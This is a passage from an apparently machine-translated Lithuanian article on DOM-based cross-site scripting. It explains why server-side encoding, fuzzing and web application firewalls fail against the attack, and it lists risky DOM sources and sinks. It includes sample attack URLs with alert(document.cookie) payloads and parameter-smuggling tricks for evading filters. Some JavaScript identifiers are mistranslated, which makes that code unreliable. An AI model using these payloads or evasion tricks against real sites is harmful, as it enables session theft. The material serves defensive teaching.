Tačiau kai kuriais atvejais neįmanoma paslėpti naudingos apkrovos: in ir kenksminga apkrova yra vartotojo vardo dalis URL, pvz., http://username@host/. Tokiu atveju naršyklė siunčia užklausą su autorizacijos antrašte, kurioje yra vartotojo vardas (kenkėjiška apkrova), todėl serverį pasiekia kenkėjiškas kodas (užkoduotas „Base64“ – todėl IDS/IPS pirmiausia turi iššifruoti šiuos duomenis, kad aptiktų ataką). Tačiau serveris neprivalo įterpti šios naudingosios apkrovos į vieną iš galimų HTML puslapių, nors tai yra būtina sąlyga norint įvykdyti XSS ataką.

Akivaizdu, kad situacijose, kai naudingoji apkrova gali būti visiškai paslėpta, aptikimas (IPS) ir prevencija (IPS) ugniasienėsžiniatinklio programoms) negali visiškai apsisaugoti nuo šios atakos. Net jei naudingoji apkrova turi būti siunčiama į serverį, daugeliu atvejų ji gali būti pakeista tam tikru būdu, kad būtų išvengta aptikimo. Pavyzdžiui, jei kuris nors parametras yra apsaugotas (pavyzdžiui, pavadinimo parametras aukščiau pateiktame pavyzdyje), nedidelis atakos scenarijaus pakeitimas gali duoti tokį rezultatą:

(dokumentas.slapukas)

Griežtesnė saugos politika reikalauja, kad būtų išsiųstas pavadinimo parametras. Tokiu atveju galite pateikti tokį prašymą:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Jei jūsų saugos politika riboja papildomų parametrų pavadinimus (pvz., foobar), galite naudoti šią parinktį:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Atkreipkite dėmesį, kad ignoruojamas parametras (foobar) turi būti pirmas ir jo reikšmėje turi būti naudingoji apkrova.

Aprašytas atakos scenarijus yra dar labiau tinkamas užpuolikui, nes visa document.location reikšmė įrašoma į HTML puslapį (Javascript kodas neieško konkretaus parametro pavadinimo). Taigi, užpuolikas gali visiškai paslėpti naudingą apkrovą atsiųsdamas:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Net jei naudingą apkrovą analizuoja serveris, apsauga gali būti garantuota tik tuo atveju, jei užklausa atmetama arba atsakymas pakeičiamas kokiu nors klaidos tekstu. Dar kartą nurodant ir: jei autorizacijos antraštę tiesiog pašalins tarpinė apsaugos sistema, tai neturės jokios įtakos, jei bus grąžintas pradinis puslapis. Taip pat bet koks bandymas apdoroti duomenis serveryje pašalinant ar užkoduojant nelegalius simbolius bus neveiksmingas prieš šią ataką.

Document.referrer atveju naudingoji apkrova siunčiama į serverį per Referer antraštę. Tačiau jei vartotojo naršyklė ar tarpinė apsauga pašalins šią antraštę, atakos pėdsakų neliks, o tai gali likti visiškai nepastebėta.

Apibendrinant darome išvadą, kad tradiciniai metodai, būtent

1. Serverio pusės HTML duomenų kodavimas
2. Draudžiamų įvesčių pašalinimas / kodavimas iš serverio neveikia prieš DOM XSS.

Automatinė pažeidžiamumų paieška „bombarduojant“ kenkėjiškus duomenis (kartais vadinama „fuzzing“) neveiks, nes šią techniką naudojantys programos paprastai daro išvadas pagal tai, ar grąžintame puslapyje yra įterptųjų duomenų, ar ne (o ne vykdytų kodą kontekste). naršyklę kliento pusėje ir stebėti rezultatus). Tačiau jei programa gali statiškai analizuoti puslapyje rastą Javascript kodą, ji gali nurodyti įtartinus ženklus (žr. toliau). Ir, žinoma, jei saugos įrankiai gali vykdyti Javascript kodą (ir teisingai inicijuoti DOM objektus) arba emuliuoti tokį vykdymą, jie galės aptikti šią ataką.

Rankinis pažeidžiamumo paieška naudojant naršyklę taip pat veiks, nes naršyklė gali vykdyti kliento pusės Javascript kodą. Pažeidžiamumo įrankiai gali pritaikyti šį metodą ir paleisti kliento kodą, kad galėtų stebėti jo vykdymo rezultatus.
Efektyvi apsauga

Venkite kliento dokumentų perrašymų, peradresavimų ar kitų panašių veiksmų, kuriuose naudojami kliento duomenys. Daugumą šių veiksmų galima atlikti naudojant dinaminius puslapius (serverio pusėje).
2.

Kodo saugumo (Javascript) analizė ir tobulinimas kliento pusėje. Nuorodos į DOM objektus, kuriems gali turėti įtakos vartotojas (užpuolikas), turi būti atidžiai patikrintos. Ypatingas dėmesys turėtų būti skiriamas šiems objektams (bet jais neapsiribojant):
* dokumentas.URL
* document.URLUnencoded
* document.location (ir jo savybės)
* document.referrer
* window.location (ir jo savybės)

Atkreipkite dėmesį, kad dokumento ir lango objektų ypatybes galima nurodyti keliais būdais: tiesiogiai (pavyzdys: langas.vieta), netiesiogiai (pavyzdys: vieta) arba gavus rankenėlę ir ją naudojant (pavyzdys: rankena_į_kurį_langą.vieta).

Ypatingas dėmesys turėtų būti skiriamas kodui, kai DOM yra modifikuojamas tiesiogiai arba galimai naudojant tiesioginę prieigą prie HTML arba per tiesioginę prieigą prie DOM. Pavyzdžiai (tai jokiu būdu nėra baigtinis sąrašas):
* Įveskite puslapio HTML kodą:
o dokumentas.rašyti (...)
o document.writeln (…)
o document.body.innerHtml=…
* Tiesioginis DOM keitimas (įskaitant DHTML įvykius):
o document.forms.action=… (ir kiti variantai)
o document.attachEvent(...)
o dokumentas.kurti…(…)
o document.execCommand (…)
o dokumentas.kūnas. ... (pasiekti DOM per kūno objektą)
o window.attachEvent(…)
* Keičiamas dokumento URL:
o document.location=… (taip pat vietos objektui priskiriant href, host ir hostname reikšmes)
o document.location.hostname=…
o document.location.replace (…)
o document.location.assign (…)
o document.URL=…
o langas.navigate (...)
* Atidarymas/keitimas lango objektas:
o document.open (…)
o langas.atidaryti (…)
o window.location.href=… (taip pat pagrindinio kompiuterio ir pagrindinio kompiuterio pavadinimo reikšmių priskyrimas vietos objektui)
* Tiesioginis scenarijaus vykdymas:
o eval (...)
o window.execScript (…)
o window.setInterval (…)
o window.setTimeout (…)

Tęsiant aukščiau pateiktą pavyzdį, už veiksminga apsauga Originalus scenarijus gali būti pakeistas šiuo kodu, kuris patikrina eilutę, įrašytą į HTML puslapį, kad įsitikintų, jog jame yra tik raidiniai ir skaitmeniniai simboliai.